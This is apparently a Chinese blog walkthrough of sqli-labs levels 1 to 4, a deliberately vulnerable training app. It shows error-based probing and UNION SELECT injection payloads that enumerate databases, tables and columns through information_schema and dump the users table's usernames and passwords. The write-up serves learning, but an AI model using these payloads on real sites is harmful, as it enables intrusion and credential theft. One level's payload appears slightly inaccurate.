1. 程式人生 > >sqli-labs 1-4通關筆記

sqli-labs 1-4通關筆記

background

Mysql 有一個系統資料庫information_schema,儲存著所有的資料庫的相關資訊,一般的, 我們利用該表可以進行一次完整的注入。以下為一般的流程。

例項
select table_name from information_schema.tables where table_schema = "s
ecurity";
//查出security資料庫的所有資料表
查詢所有資料庫
select group_concat(schema_name)  from information_schema.schemata
查詢某庫的資料表
select group_concat(
table_name) from information_schema.tables where table_schema=’xxxxx’
查詢某表的所有列
select group_concat(column_name)  from information_schema.columns where table_name=’xxxxx’
獲取列的內容
select group_concat(id,username,password) from table.name
常用函式
  • version()——MySQL 版本
  • user()——資料庫使用者名稱
  • database()——資料庫名
  • @@datadir——資料庫路徑
  • @@version_compile_os——作業系統版本

less-1

0x01 猜解後臺sql語句,構造poc

加單引號 '報錯

near ''1'' LIMIT 0,1' at line 1

分析後臺sql語句

'1'' 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

構造poc

id=1' or 1=1 --+
0x02 列欄位

分析user表可知,存在idusernamepassword三個欄位

background

order by n

當n小於正確欄位時,回顯true; 當n大於正確欄位時,回顯false

這裡採用order by 3

0x03 聯合注入
id=-1' union select 1,2,3
//1,2,3為order by 列出的欄位個數

background

id的資料在資料庫中不存在時,前臺頁面返回我們構造的union的資料

0x04 查詢資料庫
id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
0x05 查詢指定資料庫中的資料表
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "security"--+
0x06 查詢指定資料表中的欄位
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = "users"--+
0x07 查詢指定欄位中的資料
id=-1' union select 1,group_concat(id,username,password),3 from users--+

less-2

猜解後臺sql語句,構造poc

加單引號'報錯資訊

near '' LIMIT 0,1' at line 1

原始碼

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

構造poc

id=1 and 1=1 --+

less-3

猜解後臺sql語句,構造poc

加單引號'報錯資訊

near ''1 '') LIMIT 0,1' at line 1

原始碼

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

構造poc

id=1 ') --+

less-4

猜解後臺sql語句,構造poc

加號'")"報錯資訊

near '") LIMIT 0,1' at line 1

原始碼

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

構造poc

id=1'") --+